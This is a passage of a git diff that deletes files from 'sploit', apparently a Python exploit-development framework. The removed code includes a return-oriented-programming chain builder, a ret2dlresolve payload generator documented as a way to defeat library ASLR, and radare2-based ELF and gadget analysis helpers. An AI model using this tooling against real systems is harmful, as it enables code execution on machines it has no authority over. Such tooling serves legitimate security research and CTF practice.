- reference to the payload object. self.base is set to the insertion
- location.
- """
- pass
-
- def payload_len(self, payload):
- """
- Called to compute size of this entry.
-
- Implement this method to calculate the length of this dynamic payload
- entry. self.base is set to the current entry address or offset.
- """
- raise NotImplementedError
-
- def payload_bytes(self, payload):
- """
- Called to generate bytes for this entry.
-
- Implement this method to generate the binary output for this dynamic
- payload entry. self.base is set to the current entry address or offset.
- """
- raise NotImplementedError
-
-# Concrete payload entry definitions
-
-class pointer(PayloadEntry):
- """Generate an integer which tracks the address of another payload field."""
-
- def __init__(self, target=None, math=None):
- self.target = target
- self.math = math
-
- def payload_len(self, payload):
- return arch.wordsize
-
- def payload_bytes(self, payload):
- if self.target is None:
- addr = self.base
- else:
- addr = payload[self.target]
- if callable(self.math):
- addr = self.math(addr)
- return itob(addr)
-
-class padlen(PayloadEntry):
- """Generate padding to reach a target payload length."""
-
- def __init__(self, size, data=None):
- self.size = size
- self.data = data
-
- def payload_len(self, payload):
- return self.size - (self.base - payload.base)
-
- def payload_bytes(self, payload):
- size = self.payload_len(payload)
- data = self.data or arch.nopcode
- if size < 0:
- raise ValueError("padding: Available space is negative")
- if (size := size / len(data)) != int(size):
- raise ValueError("padding: Element does not divide the space evenly")
- return data * int(size)
-
-class padabs(padlen):
- """Generate padding to reach a target absolute address."""
-
- def payload_len(self, payload):
- return self.size - self.base
-
-class padrel(padlen):
- """Generate a fixed length of padding (aka: length relative to self)."""
-
- def payload_len(self, payload):
- return self.size
-
-class padalign(padlen):
- """Generate padding to reach next aligned address."""
-
- def __init__(self, size=None, data=None, reference=0):
- self.size = size
- self.data = data
- self.reference = reference
-
- def payload_len(self, payload):
- size = self.size or arch.alignment
- return (self.reference - self.base) % size
-
-class placeholder(padlen):
- """Generate fixed length of magic bytes, one word length by default."""
-
- def __init__(self, size=None):
- self.size = size
- self.data = _PLACEHOLDER_MAGIC
-
- def payload_len(self, payload):
- return self.size or arch.wordsize
diff --git a/sploit/payload/ret2dlresolve.py b/sploit/payload/ret2dlresolve.py
deleted file mode 100644
index 8862e22..0000000
--- a/sploit/payload/ret2dlresolve.py
+++ /dev/null
@@ -1,226 +0,0 @@
-"""
-Perform "Return to dlresolve" dynamic linker attack
-
-The ret2dlresolve technique is useful to defeat library ASLR against targets
-with partial relro (or less) and where no useable data leaks are available.
-This is specifically a workaround for ASLR of libraries such as libc, and
-addresses within the target executable are expected to be known (non-pic or
-otherwise).
-
-When a dynamic library call is performed normally, applications jump to code
-stubs in the .plt section to perform the actual relocation. This process relies
-on a couple of meta-data structures in the ELF object:
-
-Elf*_Rel: Contains a pointer to the corresponding GOT entry, which is used to
-cache the real subroutine address for later calls, as well as an info field
-describing the relocation. This info field contains a type subfield and an
-index into the ELF's symbol table for the symbol to be relocated.
-
-Elf*_Sym: Contains all the data relevant to the symbol. For the purposes of the
-exploit, only the symbol name field is utilized (the others are set to zeroes).
-The name field is an offset into the ELF's string table, and the actual symbol
-name string can be found at this offset.
-
-All of the data tables mentioned above are located by their corresponding
-section in the ELF. The relocation process however does not perform any bounds
-checks to ensure the runtime data structures actually come from these sections.
-By forging custom structures, and ensuring they can be written into memory at
-precise locations, an attacker can trick the resolver to link any library
-function they desire by setting up the equivalent PLT function call via ROP.
-
-Read on for more background details:
-http://phrack.org/issues/58/4.html
-https://gist.github.com/ricardo2197/8c7f6f5b8950ed6771c1cd3a116f7e62
-
-Structure definitions from your standard elf.h header:
-
-typedef struct {
- Elf32_Word st_name; /* 4b Symbol name (string tbl index) */
- Elf32_Addr st_value; /* 4b Symbol value */
- Elf32_Word st_size; /* 4b Symbol size */
- unsigned char st_info; /* 1b Symbol type and binding */
- unsigned char st_other; /* 1b Symbol visibility */
- Elf32_Section st_shndx; /* 2b Section index */
-} Elf32_Sym;
-
-typedef struct {
- Elf64_Word st_name; /* 4b Symbol name (string tbl index) */
- unsigned char st_info; /* 1b Symbol type and binding */
- unsigned char st_other; /* 1b Symbol visibility */
- Elf64_Section st_shndx; /* 2b Section index */
- Elf64_Addr st_value; /* 8b Symbol value */
- Elf64_Xword st_size; /* 8b Symbol size */
-} Elf64_Sym;
-
-typedef struct {
- Elf32_Addr r_offset; /* 4b Address */
- Elf32_Word r_info; /* 4b Relocation type and symbol index */
-} Elf32_Rel;
-
-typedef struct {
- Elf64_Addr r_offset; /* 8b Address */
- Elf64_Xword r_info; /* 8b Relocation type and symbol index */
-} Elf64_Rel;
-
-Elf32_Rel.r_info = 0xAAAAAABB
- | |
- | type
- symidx
-
-Elf64_Rel.r_info = 0xAAAAAAAABBBBBBBB
- | |
- symidx type
-"""
-
-from sploit.arch import arch, itob
-from sploit.payload.gadhint import GadHint
-from sploit.payload.payload import Payload
-from sploit.payload.payload_entry import padalign, padlen, pointer
-from sploit.payload.rop import ROP
-from sploit.rev.r2 import run_cmd
-
-_JMP_SLOT = 0x07
-
-def _symsize():
- # Size of Elf*_Sym, used for padding and indexing
- if arch.wordsize == 4: return 16
- elif arch.wordsize == 8: return 24
- raise ValueError("Ret2dlresolve: Architecture wordsize unsupported")
-
-def _relsize():
- # Size of Elf*_Rel, used only for indexing on 64bit (32bit uses offset)
- if arch.wordsize == 4: return 1
- elif arch.wordsize == 8: return 24
- raise ValueError("Ret2dlresolve: Architecture wordsize unsupported")
-
-def _infoshift():
- # Partition subfields of Elf*_Rel.r_info
- if arch.wordsize == 4: return 8
- elif arch.wordsize == 8: return 32
- raise ValueError("Ret2dlresolve: Architecture wordsize unsupported")
-
-class Ret2dlresolve(ROP):
- # Use constructor from ROP class
-
- def reloc(self, symbol_name):
- """
- Generate relocation structures for the function with given symbol name.
-
- The returned data structures are packed into a single Payload object.
- This payload must be written into the target's memory before attempting
- to use it with Ret2dlresolve.call(). Furthermore, the chosen write
- location must be assigned to the payload base property, so that internal
- pointers may take on the appropriate values.
-
- See Ret2dlresolve.determine_address() for advice on choosing a write
- location.
-
- symbol_name (str): Name of library function to link
- """
- binary = self.objects[0]
- symtab = binary.sym.sect['.dynsym']
- strtab = binary.sym.sect['.dynstr']
-
- try:
- jmprel = binary.sym.sect['.rel.plt']
- except KeyError:
- jmprel = binary.sym.sect['.rela.plt']
-
- # Elf*_Rel.r_info
- info = lambda x: ((int(x - symtab) // _symsize()) << _infoshift()) | _JMP_SLOT
-
- # The sym structure is the most picky about its location in memory. So
- # it is listed first in the main dlres struct, which can be placed at
- # the desired location.
- sym = Payload()
- sym.name = pointer("symbol_string", lambda x: x - strtab)
- sym.pad = padlen(_symsize(), b"\x00")
- sym.symbol_string = symbol_name
-
- dlres = Payload()
- dlres.symalign = padalign(_symsize(), reference=symtab)
- dlres.sym = sym
- dlres.relalign = padalign(_relsize(), reference=jmprel)
- dlres.offset = pointer()
- dlres.info = pointer("sym", info)
- return dlres
-
- def determine_address(self, start=None, end=None, n=0):
- """
- Determine recommended address for relocation structures.
-
- There are a couple considerations to make when determining the memory
- locations. First of all, the location must be writable. More
- importantly, since most items are referred to by an array index, the
- structures themselves must be properly aligned, reference to the array
- origins.
-
- The payload returned from Ret2dlresolve.reloc() has some of these
- alignments built in, but one crucial one is not. The index implied by
- Elf*_Sym's offset from the symtab base is the same index used to lookup
- symbol version information, reference to versym. The data at this index
- must constitute a valid version half-word (16-bits). This function
- attempts to ensure that the coincident version info for any returned
- value is the data \x00\x00. Getting this wrong can cause the dlresolve
- routine to crash.
-
- start (int): Minimum address to recommend (default: .bss section address)
- end (int): Maximum address to recommend (default: end of memory page)
- n (int): Return the Nth useable address within the defined range
- """
- binary = self.objects[0]
- symtab = binary.sym.sect['.dynsym']
- versym = binary.sym.sect['.gnu.version']
- bss = binary.sym.sect['.bss']
-
- if start is None: start = bss
- if end is None: end = (start & ~0xfff) + 0x1000
-
- zero_words = run_cmd(binary.path, "/x 0000")
- zero_words = [ int(x.split(" ")[0], 0) for x in zero_words ]
-
- # Size of version entry is always 2 bytes.
- veroff = [ x - versym for x in zero_words ]
- idx = [ x//2 for x in veroff if x%2 == 0 ]
- symoff = [ x * _symsize() for x in idx ]
- addr = [ x + symtab for x in symoff ]
- addr = [ x for x in addr if start <= x < end ]
-
- if len(addr) > n:
- return addr[n]
-
- raise AssertionError("Ret2dlresolve: No suitable memory location")
-
- # Overrides ROP.call()
- def call(self, reloc, *params):
- """
- Return a ROP payload to call function via dynamic linker.
-
- reloc's base address must be set appropriately.
-
- reloc (Payload): Relocation payload obtained from Ret2dlresolve.reloc()
- *params (int): Remaining positional args are passed to function.
- """
- binary = self.objects[0]
- plt = binary.sym.sect['.plt']
-
- try:
- jmprel = binary.sym.sect['.rel.plt']
- except KeyError:
- jmprel = binary.sym.sect['.rela.plt']
-
- register_params = dict(zip(arch.funcargs, params))
- stack_params = params[len(register_params):]
- index = int(reloc.offset - jmprel) // _relsize()
-
- reqs = GadHint(requirements=register_params)
- call = GadHint(index, stack=stack_params)
- ret = GadHint(self.search_gadget(arch.ret))
-
- chain = Payload()
- try: chain.requirements = self.gadget(reqs).requirements
- except KeyError: pass
- chain.alignment = padalign(0, itob(ret))
- chain.plt = plt
- chain.call = self.gadget(call)
- return chain
diff --git a/sploit/payload/rop.py b/sploit/payload/rop.py
deleted file mode 100644
index 30467de..0000000
--- a/sploit/payload/rop.py
+++ /dev/null
@@ -1,364 +0,0 @@
-from graphlib import TopologicalSorter
-
-from sploit.arch import arch, btoi, itob
-from sploit.payload.gadhint import GadHint
-from sploit.payload.payload import Payload
-from sploit.payload.payload_entry import padalign, padlen
-
-_POP_MAGIC = 0xdead
-_SPM_MAGIC = b"\x69"
-_ERROR_MAGIC = 0xbaadc0de
-
-class ROP:
- """
- ROP chain generation tool
-
- This class contains methods for automating basic return-oriented programming
- workloads, such as loading register values and calling into arbitrary
- functions or syscalls. The tools are currently designed to work on x86
- (32 or 64 bit) and ARM (32 bit only).
-
- The main appeal of the ROP class is the ability to abstract away the manual
- construction of ROP chain data, and instead make declarative statements
- like "call this function with these arguments". The ROP class will also
- utilize its supplied binary objects to automatically find and use trivial
- gadgets.
-
- The user is able to provide annotations for more complicated gadgets, which
- help instruct the class how to incorporate them into a ROP chain. This is
- done with the GadHint dataclass. GadHint objects are provided to a ROP
- instance by including them in the Symtbl of one of the binary objects it is
- constructed with. If applicable, a user-supplied gadget will take
- precedence over automatic gadget searching. See the GadHint module to learn
- more about the descriptive attributes that are supported.
-
- objects (list[ELF]): The binary objects this ROP instance will consider for
- gadget searching. If one of these is the target executable binary, it
- should appear first in the list.
-
- safe_syscalls (bool): If True, require that automatically found syscall
- instructions are immediately followed by a return instruction.
-
- align_calls (bool): If True, ensure that the stack return address into
- function calls is aligned according to the architecture alignment property.
-
- clean_stack (bool): If True, attempt to locate a cleaning gadget to "pop"
- stack data that is leftover from a function call. Required if attempting
- to make multiple calls that involve stack-based arguments.
- """
-
- def __init__(self, *objects, safe_syscalls=True, align_calls=True,
- clean_stack=True):
- """Construct new ROP builder."""
- self.objects = objects
- self.safe_syscalls = safe_syscalls
- self.align_calls = align_calls
- self.clean_stack = clean_stack
-
- def search_gadgets(self, *regexes, cont=False):
- """Return a list of matching gadgets, considering all objects."""
- results = []
- for obj in self.objects:
- results += obj.gadgets(*regexes, cont=cont)
- return results
-
- def search_gadget(self, *regexes):
- """Return the first matching gadget, considering all objects."""
- for obj in self.objects:
- try:
- return obj.gadget(*regexes)
- except:
- pass
- raise LookupError(
- f"ROP: Need to define gadget symbol for {'; '.join(regexes)}")
-
- def gadget(self, gadget):
- """
- Return a generic ROP payload.
-
- gadget (GadHint): Annotated gadget to prepare a chain from.
- """
- return self.__build_chain(gadget, {})
-
- def assign(self, **sets):
- """
- Return a ROP payload to control given registers.
-
- **sets (str:int): Keyword arguments specify register assignments to
- perform with this ROP chain. Argument names correspond to register
- names.
- """
- return self.gadget(GadHint(requirements=sets))
-
- def call(self, func, *params):
- """
- Return a ROP payload to call function.
-
- func (int): Entry address of function to call.
- *params (int): Remaining positional args are passed to func.
- """
- register_params = dict(zip(arch.funcargs, params))
- stack_params = params[len(register_params):]
- gadget = GadHint(func, requirements=register_params, stack=stack_params,
- align=self.align_calls)
- return self.gadget(gadget)
-
- def syscall(self, *params):
- """
- Return a ROP payload to call kernel.
-
- *params (int): The first argument is the syscall number. Remaining
- positional arguments are passed to the syscall.
- """
- if len(params) > len(arch.kernargs):
- raise TypeError("ROP: Too many arguments passed to syscall. "
- f"Target architecture supports up to {len(arch.kernargs)-1}.")
-
- register_params = dict(zip(arch.kernargs, params))
- sc = self.__get_gadget("syscall", {})
- return self.gadget(sc.with_requirements(register_params))
-
- def memcpy(self, dst, src):
- """
- Return a ROP payload to write data into memory.
-
- dst (int): The destination memory address.
- src (bytes): The content to write.
- """
- data = Payload()
- for idx in range(0, len(src), arch.wordsize):
- word = btoi(src[idx:idx+arch.wordsize])
- data(self.gadget(self.__get_write(dst+idx, word)))
- return data
-
- def __get_hints(self):
- """Return all user-supplied gadget hints."""
- return [h for obj in self.objects for _,h in obj.sym if type(h) is GadHint]
-
- def __discover_requirements(self, seen, graph, current):
- """
- Populate gadget dependency graph.
-
- This function recursively looks up gadgets to ensure all necessary
- required gadgets can be found, and stores this information into the
- given graph object. Established dependencies encode the order that the
- chain builder should attempt to satisfy register requirements.
- Dependency loops are detected by the TopologicalSorter.
-
- seen (set): Set of (register,value) tuples we have already discovered.
- graph (TopologicalSorter): Dependency graph model object.
- current (GadHint): Current gadget we are processing.
- """
- for r, v in current.requirements.items():
- # We key on register name _and_ value because some gadgets may
- # only be capable of storing specific values in a target register.
- # Requiring a register to store different values may require the
- # use of multiple gadgets.
- if (r, v) not in seen:
- gadget = self.__get_gadget(r, current.requirements)
-
- # Add gadget's requirements to the dependency graph.
- # We say that each requirement is a 'successor' to this
- # current gadget 'r', so that the chain builder will satisfy
- # 'r' first. This prevents the fulfillment of 'r' from
- # clobbering targets it requires, as the builder will satisfy
- # them afterward.
- for x in gadget.requirements:
- graph.add(x, r)
-
- # Treat gadget's load immediates as pseudo-requirements for
- # the sake of target ordering, following the same logic
- # as above.
- for x in gadget.imms:
- graph.add(x, r)
-
- # Mark node as visited
- seen.add((r, v))
- self.__discover_requirements(seen, graph, gadget)
-
- def __get_gadget(self, target, sets):
- """
- Get context-specific gadget.
-
- target (str): Either "ret", "syscall", or the name of a register we
- would like to modify.
-
- sets (dict{str:int}): The set of other register requirements we are
- trying to fulfill in parallel. Values may affect the gadget we decide
- to use.
- """
- # First, consider user-provided hints before automatically locating
- # gadgets.
- for hint in self.__get_hints():
- # Setup additional requirements based on hint's register moves.
- # If a mov target is in sets, require to set the src to the 'sets'
- # value.
- addl_reqs = { src:sets[dst] for dst, src in hint.movs.items() if dst in sets }
- hint = hint.with_requirements(addl_reqs)
-
- # Pops will be accounted for by the chain builder.
- # Immediates will be handled by gadget ordering in chain builder.
- # Writes are a non-issue here.
-
- if hint.syscall:
- # Only consider syscalls if the target is syscall.
- if target == "syscall":
- return hint
- elif target in hint.imms:
- if hint.imms[target] == sets[target]:
- return hint
- elif target in hint.pops:
- return hint
- elif target in hint.movs:
- return hint
-
- # Automatically locate simple gadgets
- if target == "ret":
- return GadHint(self.search_gadget(arch.ret))
-
- if target == "syscall":
- insns = [arch.syscall, arch.ret] if self.safe_syscalls else [arch.syscall]
- return GadHint(self.search_gadget(*insns), syscall=True)
-
- # target == register
- insns = [ i.format(target) for i in arch.popgad ]
- return GadHint(self.search_gadget(*insns), pops=[target])
-
- def __get_clean(self, size):
- """
- Get a stack cleaning gadget that moves sp by _at least_ size.
-
- size (int): Minimum stack pointer move.
- """
- # spm values of zero (the default) can't be trusted, as in this case
- # the user likely hasn't annotated the GadHint properly. Returning a
- # larger move than requested is fine, since the chain builder can insert
- # junk to be popped.
- for hint in self.__get_hints():
- if hint.spm >= size and hint.spm > 0:
- return hint
-
- results = self.search_gadgets(*arch.cleangad)
- table = { int(g.asm[0].group(1), 0): g for g in results }
- sizes = sorted([ x for x in table.keys() if x >= size ])
-
- if len(sizes) > 0:
- return GadHint(table[sizes[0]], spm=sizes[0])
-
- raise LookupError(
- f"ROP: Need to define a stack move gadget of at least {size}")
-
- def __get_write(self, dst, src):
- """
- Get a memory write gadget, injected with requirements for user data.
-
- dst (int): The intended memory write location.
- src (int): The intended value to write.
- """
- # If any exist, take the first write provided by user hints, assuming
- # the user's intent to specifically use _this_ write. Follow-on gadgets
- # to setup the dst and src registers must be findable.
- for hint in self.__get_hints():
- if hint.writes:
- d, s = list(hint.writes.items())[0]
- return hint.with_requirements({d:dst, s:src})
-
- # Only take an automatic write gadget if we can prove up front that its
- # requirements can be met, otherwise move on. A later search result may
- # pass the test.
- results = self.search_gadgets(*arch.writegad)
-
- for gad in results:
- d = gad.asm[0].group("dst")
- s = gad.asm[0].group("src")
-
- try:
- # Assert requirements are met.
- gadget = GadHint(gad, writes={d: s}, requirements={d:dst, s:src})
- self.__discover_requirements(set(), TopologicalSorter(), gadget)
- return gadget
- except:
- pass
-
- raise LookupError("ROP: Need to define gadgets for memory write / deps")
-
- def __build_chain(self, gadget, sets):
- """
- Generate ROP chain data for a given gadget.
-
- This function recursively builds a ROP chain for the given gadget and
- its requirements, returning the result as a Payload.
-
- gadget (GadHint): Current gadget to process.
-
- sets (dict{str:int}): The set of other register requirements we are
- trying to fulfill in parallel.
- """
- # Form a to-do-list of registers from our immediate requirements,
- # attempting to order them such that we avoid overwriting/conflicting
- # values. This may not be possible, in which case graph.static_order()
- # will raise an exception.
- reqs = gadget.requirements
- graph = TopologicalSorter({ r:set() for r in reqs })
- self.__discover_requirements(set(), graph, gadget)
- to_do_list = [ x for x in graph.static_order() if x in reqs ]
-
- chain = Payload()
-
- # Start chain by satisfying to-do-list requirements.
- if len(to_do_list) > 0:
- chain.requirements = Payload()
-
- while len(to_do_list) > 0:
- r = to_do_list[0]
- g = self.__get_gadget(r, reqs)
- c = self.__build_chain(g, reqs)
- chain.requirements[f"{r}_{reqs[r]}"] = c
-
- # This gadget may satisfy multiple items in the to-do-list.
- # Specifically, all of its pop and mov targets, and any load
- # immediates that match our requirements. Non-matching
- # immediates will be handled by a later gadget.
- imms = g.imms.keys() & reqs.keys()
- imms = [ x for x in imms if g.imms[x] == reqs[x] ]
- done = g.pops + list(g.movs) + imms
- to_do_list = [ x for x in to_do_list if x not in done ]
-
- # Append chain data to execute this gadget, but respect offset == 0
- # as a way to disable this gadget (perform a NULL gadget).
- if gadget.offset != 0:
- # Stack alignment if required.
- if gadget.align:
- ret = self.__get_gadget("ret", {})
- chain.alignment = padalign(0, itob(ret))
-
- # "Return address" entry into this gadget.
- chain.gadget = gadget.offset
-
- # The gadget's "inner stack data" will be values to be popped and
- # additional junk data to be deallocated by the gadget itself.
- if gadget.pops or gadget.spm > 0:
- chain.inner = Payload()
- chain.inner(*[ sets.get(p, _POP_MAGIC) for p in gadget.pops ])
- if gadget.spm > 0:
- chain.inner.pad = padlen(gadget.spm, _SPM_MAGIC)
-
- # The gadget's "outer stack data" will be the additional values
- # explicitly specified by the gadget. Append a separate gadget
- # to clean up these values.
- if gadget.stack:
- size = len(gadget.stack) * arch.wordsize
-
- if self.clean_stack:
- clean = self.__get_clean(size)
- chain.cleanup = clean.offset
- pad = padlen(clean.spm, _SPM_MAGIC)
- else:
- chain.cleanup = _ERROR_MAGIC
- pad = None
-
- chain.outer = Payload()
- chain.outer(*gadget.stack)
- if pad: chain.outer.pad = pad
-
- return chain
diff --git a/sploit/rev/__init__.py b/sploit/rev/__init__.py
deleted file mode 100644
index 42e2f5b..0000000
--- a/sploit/rev/__init__.py
+++ /dev/null
@@ -1,4 +0,0 @@
-from .elf import *
-from .gadget import *
-from .ldd import *
-from .r2 import *
diff --git a/sploit/rev/elf.py b/sploit/rev/elf.py
deleted file mode 100644
index b1479d6..0000000
--- a/sploit/rev/elf.py
+++ /dev/null
@@ -1,204 +0,0 @@
-"""
-Definition of the ELF class
-"""
-
-from sploit.rev import ldd, r2
-from sploit.arch import lookup_arch
-from itertools import zip_longest
-
-class ELF:
- """
- Representation of an ELF binary file.
-
- This class is effectively a front-end for the r2 module. Through ELF, you
- can get information about an ELF binary in a convenient, object-oriented
- interface and automate some of your static analysis reverse engineering.
-
- Because much of the functionality of r2 is cached, much of the functionality
- of ELF is also implicitly cached. Longer operations like retrieving the
- symbol table or looking up gadgets will be faster on subsequent attempts.
- This is mostly useful when sploit is run from the REPL or in Pipes mode
- where this cache is preserved across script runs.
-
- Some of the behavior of this class is done upfront while other operations
- are performed lazily. Retrieving symbols, binary info, security info, and
- the list of library dependencies are all done upfront when the object is
- constructed.
-
- path (str): Absolute file path to the underlying ELF file.
-
- sym (Symtbl): A collection of named address offsets exposed through the ELF.
-
- libs (dict{str:ELF}): A dictionary of ELFs representing linked library
- dependencies of the current ELF. They are indexed by their base filename
- (i.e. elf.libs["libc.so.6"]). The actual ELF is lazily constructed when it
- is requested. Pretty printing of the libs dict is implemented.
-
- locals (->Symtbl): A psuedo-namespace to access Symtbls for the local
- variables of functions. i.e. If a function existed in the elf called foo(),
- you could get a Symtbl of its local variables with elf.locals.foo
-
- info (->str|int): A psuedo-namespace to access various info about the ELF
- file. Printing elf.info will pretty-print this info in a tabulated form.
-
- info.type (str): The type of file.
-
- info.os (str): The os the binary was compiled for.
-
- info.baddr (int): The virtual base address of the binary.
-
- info.arch_string (str): A string given by r2 iI that helps identify the
- architecture the binary was compiled for.
-
- info.wordsize (int): The natual width of an int on the architecture the
- binary was compiled for.
-
- info.endianness (str): The byte order of an int on the architecture the
- binary was compiled for.
-
- security (->bool|str): A psuedo-namespace to access security info about the
- binary. Printing elf.security will pretty-print this info in a tabulated
- form.
-
- security.stripped (bool): True if the binary was stripped of debugging
- information, symbols, and strings.
-
- security.pic (bool): True if the binary's code is position independent.
-
- security.relro (str): The level of "Relocation Read-Only" that the binary
- was compiled with. Pertains to if the Global Offset Table is read-only.
- This is often "partial" or "full".
-
- security.relocs (bool): True if the binary uses dynamic runtime relocation.
-
- security.canary (bool): True if the binary uses stack canaries.
-
- security.nx (bool): True if the binary does not have stack execution
- privileges.
-
- security.rpath (str): Runtime library lookup path. If there isn't one, this
- will say "NONE".
-
- arch (Arch): On Construction, an ELF will automatically try to figure out if
- it was compiled for one of sploit's predefined Arch's. If so, it will set it
- here. Otherwise, this is None.
- """
-
- def __init__(self, path):
- """
- Construct an ELF.
-
- path (str): The filepath to the ELF binary file.
- """
- self.path = path
- self.sym = r2.get_elf_symbols(self.path)
- try:
- libs = ldd.get_libraries(self.path)
- except:
- libs = {}
- self.libs = self.__LIBS__(libs)
- self.locals = self.__LOCALS__(self)
- bininfo = r2.get_bin_info(self.path)
- self.info = self.__BININFO__(bininfo)
- self.security = self.__SECINFO__(bininfo)
- self.arch = lookup_arch(self.info.arch_string, self.info.wordsize, self.info.endianness)
-
- def __repr__(self):
- """Pretty-print a summary of the ELF."""
- s = 'ELF: '
- s += self.path
- s += f'\n{len(self.sym)} symbols @ {hex(self.sym)}'
- column_fmt = '\n{0:36}{1:36}'
- border = '------------'
- s += column_fmt.format(border,border)
- s += column_fmt.format('Binary Info','Security Info')
- s += column_fmt.format(border,border)
- for line in zip_longest(str(self.info).split('\n'),str(self.security).split('\n'),fillvalue=''):
- s += column_fmt.format(line[0],line[1])
- s += f'\n{border}'
- s += '\nLibraries'
- s += f'\n{border}'
- s += '\n'
- s += str(self.libs)
- return s
-
- class __LIBS__(dict):
- # Fancy magic dict of {filename:ELF} which will lazy load the ELF
- def __init__(self, libs):
- super().__init__({lib.name:lib.path for lib in libs.values() if lib.path})
- def __getitem__(self, lib):
- get = super().__getitem__
- if(type(get(lib))==str):self[lib] = ELF(get(lib))
- return get(lib)
- def __repr__(self):
- s = ''
- for name,lib in self.items():
- s += '\n' + str(name) + ' => ' + (lib if(type(lib)==str) else str(lib.path))
- return s.strip()
-
- class __LOCALS__:
- # Fancy magic class that provides a psuedo-namespace to lookup locals for functions
- def __init__(self, elf):
- self.elf = elf
- def __getattr__(self, sym):
- return r2.get_locals(self.elf.path, getattr(self.elf.sym, sym))
-
- class __BININFO__:
- # Fancy magic class that provides a psuedo-namespace to get properties of the binary
- def __init__(self, bininfo):
- self.info = {
- "type" : bininfo['bintype'],
- "os" : bininfo['os'],
- "baddr" : bininfo['baddr'],
- "arch_string" : bininfo['arch'],
- "wordsize" : bininfo['bits']//8,
- "endianness" : bininfo['endian'],
- }
- def __getattr__(self, k):
- return self.info[k]
- def __repr__(self):
- s = ''
- for name,val in self.info.items():
- if name == 'baddr': val = hex(val)
- s += '\n{0:14}{1}'.format(name,val)
- return s.strip()
-
- class __SECINFO__(__BININFO__):
- # Fancy magic class that provides a psuedo-namespace to get security properties of the binary
- def __init__(self, bininfo):
- self.info = {
- "stripped" : bininfo['stripped'],
- "pic" : bininfo['pic'],
- "relro" : bininfo.get('relro',''),
- "relocs" : bininfo['relocs'],
- "canary" : bininfo['canary'],
- "nx" : bininfo['nx'],
- "rpath" : bininfo['rpath'],
- }
-
- def retaddr(self, caller, callee):
- """
- Returns a list of addresses where a function returns into another
- function at.
-
- caller (int): Address of the calling function to be returned into.
-
- callee (int): Address of the function that was called and will return.
- """
- return [c.ret_addr for c in r2.get_call_returns(self.path, caller, callee)]
-
- def gadgets(self, *regexes, cont=False):
- """
- Returns a list of gadgets that match the given regex list.
-
- *regexes (str): All positional arguments are treated as regex strings
- for the gadget search.
-
- cont (bool): If true, this function will return all of the assembly past
- the found gadget up to the next return point.
- """
- return [ self.sym[g] for g in r2.rop_gadgets(self.path, *regexes, cont=cont) ]
-
- def gadget(self, *regexes):
- """Returns the first gadget found that matches the given regex list."""
- return self.sym[r2.rop_gadget(self.path, *regexes)]
diff --git a/sploit/rev/gadget.py b/sploit/rev/gadget.py
deleted file mode 100644
index cc69723..0000000
--- a/sploit/rev/gadget.py
+++ /dev/null
@@ -1,25 +0,0 @@
-from dataclasses import dataclass, field
-from sploit.types.index_entry import IndexEntry
-
-@dataclass
-class Gadget(IndexEntry):
- """
- Basic gadget description object
-
- base (int): The location this gadget is found at. What `base` is relative
- to depends on context.
-
- asm (list[re.Match]): A list of assembly instructions matched by the gadget
- search query.
- """
-
- base: int = 0
- asm: list = field(default_factory=list)
-
- def __repr__(self):
- """Return human-readable Gadget."""
- s = hex(self.base)
- if len(self.asm) > 0:
- asm = "; ".join([ m.string for m in self.asm ])
- s += f", '{asm}'"
- return f"Gadget({s})"
diff --git a/sploit/rev/ldd.py b/sploit/rev/ldd.py
deleted file mode 100644
index b773abf..0000000
--- a/sploit/rev/ldd.py
+++ /dev/null
@@ -1,13 +0,0 @@
-from sploit.util.cmd import run_cmd_cached
-from sploit.util.log import ilog
-
-import re
-from collections import namedtuple as nt
-
-def get_libraries(elf):
- ilog(f'Retrieving linked libraries of {elf} with ldd...')
- out = run_cmd_cached(['ldd',elf])
- out = [re.split(r'\s+',lib)[1:] for lib in out]
- Lib = nt("Lib", "name path addr")
- out = {l[0]:Lib(l[0],l[0] if l[0][0]=='/' else l[2] if l[1]=='=>' else None,l[-1]) for l in out}
- return out
diff --git a/sploit/rev/r2.py b/sploit/rev/r2.py
deleted file mode 100644
index e81adc9..0000000
--- a/sploit/rev/r2.py
+++ /dev/null
@@ -1,139 +0,0 @@
-from sploit.arch import arch
-from sploit.rev.gadget import Gadget
-from sploit.symtbl import Symtbl
-from sploit.util.cmd import run_cmd_cached
-from sploit.util.log import ilog
-
-from collections import namedtuple as nt
-from functools import cache
-import json
-import re
-
-def run_cmd(binary,cmd):
- return run_cmd_cached(['r2','-q','-c',cmd,'-e','scr.color=false','-e','rop.len=10','-e','search.in=io.maps.x',binary])
-
-def get_elf_symbols(elf):
- ilog(f'Retrieving symbols of {elf} with r2...')
-
- base = get_bin_info(elf)['baddr']
-
- sect = json.loads(run_cmd(elf,'iSj')[0])
- sect = {s['name']:s['vaddr'] for s in sect}
-
- syms = json.loads(run_cmd(elf,'isj')[0])
- syms = [s for s in syms if s['type'] in ['OBJ', 'FUNC', 'NOTYPE']]
-
- plt = [s for s in syms if s['is_imported']]
- plt = {sym['realname']:sym['vaddr'] for sym in plt}
- plt = Symtbl(base=sect.get('.plt',0), **plt)
-
- syms = [s for s in syms if not s['is_imported']]
- syms = {sym['realname']:sym['vaddr'] for sym in syms}
- syms = Symtbl(base=base, **syms)
-
- got = json.loads(run_cmd(elf,'irj')[0])
- got = {sym['name']:sym['vaddr'] for sym in got if 'name' in sym}
- got = Symtbl(base=sect.get('.got',0), **got)
-
- strings = json.loads(run_cmd(elf,'izj')[0])
- strings = {s['string']:s['vaddr'] for s in strings}
- strings = Symtbl(base=sect.get('.rodata',0), **strings)
-
- sect = Symtbl(**sect)
- syms.sect = sect
- syms.imp = plt
- syms.rel = got
- syms.str = strings
- return syms
-
-def get_locals(binary,func):
- ilog(f'Retrieving local stack frame of {hex(func)} in {binary} with r2...')
-
- addr = hex(func)
- cmd_locals = f's {func};af;aafr;aaft;afvf'
- out = run_cmd(binary,cmd_locals)
- out = [re.split(r':?\s+',var) for var in out]
- out = {var[1]:-(int(var[0],0)-arch.wordsize) for var in out}
- return Symtbl(sbp=0, **out)
-
-def rop_json(binary):
- # Gadget JSON schema:
- # [
- # {
- # retaddr: int
- # size: int
- # opcodes: [
- # {
- # offset: int
- # size: int
- # opcode: string
- # type: string
- # }
- # ]
- # }
- # ]
- return json.loads("\n".join(run_cmd(binary, "/Rj")))
-
-@cache
-def rop_gadgets(binary, *regexes, cont=False):
- ilog(f"Searching {binary} for {'; '.join(regexes)} gadgets with r2...")
- gadgets = rop_json(binary)
- results = []
- result_offsets = []
- base = get_bin_info(binary)['baddr']
-
- for gadget in gadgets:
- opcodes = gadget['opcodes']
- end_idx = len(opcodes) - len(regexes)
-
- for start_idx in range(end_idx + 1):
- idx = start_idx
